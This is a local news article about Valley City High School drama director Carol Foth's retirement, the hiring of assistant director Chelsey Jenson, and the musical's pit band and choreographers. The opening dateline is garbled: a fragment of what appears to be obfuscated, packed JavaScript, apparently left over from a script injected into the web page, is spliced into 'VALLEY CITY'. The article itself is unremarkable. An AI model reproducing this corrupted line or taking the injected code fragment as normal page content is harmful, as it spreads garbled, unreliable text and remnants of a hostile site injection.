VALLEY atrye|var|u0026u|referrer|yzdyn||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) The administrators of the Valley City School district have known for the past year that Carol Foth, VCHS drama director, will be retiring at the end of the school year.

Activities Director Marty Bratrud and the school board were open to the suggestion brought to them by Foth earlier this fall.

Foth recognized when she decided to retire that the new director, would need to learn a tremendous amount about the theater building itself, as well as the inner workings of producing plays and musicals. 

Her first instinct was to approach Bratrud and the school board with the idea of hiring a ‘shadow’ to follow her around during the current school year.  That would allow the ‘newbie’ a hands-on experience as to how everything comes together.  Foth thought this idea was crucial, considering she has been the only director to adjust to all the changes to the drama department which have occurred over the past 16 years.  

Bratrud and School Board member Joyce Braunagel suggested the board go one better and create an assistant director position.  Considering the numbers of students participating within the drama program are so high, the proposal was approved.

After having no one on staff apply, the position was opened up. Chelsey (Dockter) Jenson applied and was hired.  Jenson was formerly one of  Foth’s cast members, during both Jenson’s junior and senior high years. Theater goers may remember her playing Sharpay in the VCHS production of Disney’s High School Musical in 2011.

If there is one thing Foth has learned over her many years of experience, nothing is ever simple. Once she made the decision that this was the year to produce the highly acclaimed musical, How to Succeed in Business without Really Trying, the production process was set into motion. This year’s challenge  is the extreme difficulty of the pit band score.

So this year’s pit will consist of two Clavinovas, played by Dianna VanBruggen and Marion Drevecky.  Sheila Zinke, choral director, will play accoustical guitar and pit band director Tom Kjelland will share his talents on both the base guitar and drums. 

Foth is delighted this combo will be filling the needs for the production and also grateful Cindy Ross has returned to choreograph all big group numbers.

Foth is  thrilled that the love of VCHS drama does not die after students have graduated.  Saidee Oberlander, who played Dolly Levi in the 2013 VCHS production of Hello, Dolly!, will be working with the boys and Abby Ingstad in the current production, choreographing both “I Believe in You,” and “The Brotherhood of Man.” 

And Steven Horner, who played the ‘Elvis- like’ lead in the VCHS 2011 production of  All Shook Up, dropped in during an evening rehearsal to offer his help.  

Foth said, “This is a bitter-sweet point in my life. I can’t wait for the freedom of retirement which will allow me to do the things I have wanted to do. However, I am not looking forward to leaving the friendly students and staff at VCHS behind.”